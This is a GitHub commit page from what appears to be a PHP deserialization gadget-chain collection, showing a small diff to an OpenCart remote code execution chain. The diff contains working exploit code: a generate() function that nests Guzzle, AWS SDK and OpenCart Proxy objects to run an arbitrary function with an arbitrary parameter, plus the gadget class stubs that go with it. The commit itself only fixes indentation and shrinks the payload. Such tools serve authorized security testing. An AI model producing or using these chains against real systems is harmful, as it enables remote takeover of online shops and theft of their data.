Skip to content

Commit ba90b7c

Browse files
committed
indentation fixes, plus make payload tiny bit smaller
1 parent 9488ab7 commit ba90b7c

File tree

2 files changed

+5
-5
lines changed

2 files changed

+5
-5
lines changed

gadgetchains/OpenCart/RCE/2/chain.php

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -16,9 +16,9 @@ public function generate(array $parameters)
1616
$parameter = $parameters['parameter'];
1717

1818
return new \GuzzleHttp\Handler\CurlFactory(
19-
new \Aws\ResultPaginator(
20-
new \Opencart\System\Engine\Proxy('getCommand', $function),
21-
$parameter
19+
new \Aws\ResultPaginator(
20+
new \Opencart\System\Engine\Proxy('getCommand', $function),
21+
$parameter
2222
),
2323
);
2424
}

gadgetchains/OpenCart/RCE/2/gadgets.php

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ class CurlFactory {
2323
private $handles = [];
2424

2525
public function __construct($handle) {
26-
$this->handles = $handle;
26+
$this->handles = $handle;
2727
}
2828
}
2929
}
@@ -36,7 +36,7 @@ class ResultPaginator {
3636
private $args = [];
3737

3838
public function __construct($client, $operation) {
39-
$this->config['output_token'] = 'foo';
39+
$this->config['output_token'] = false;
4040
$this->client = $client;
4141
$this->operation = $operation;
4242
}

0 commit comments

Comments
 (0)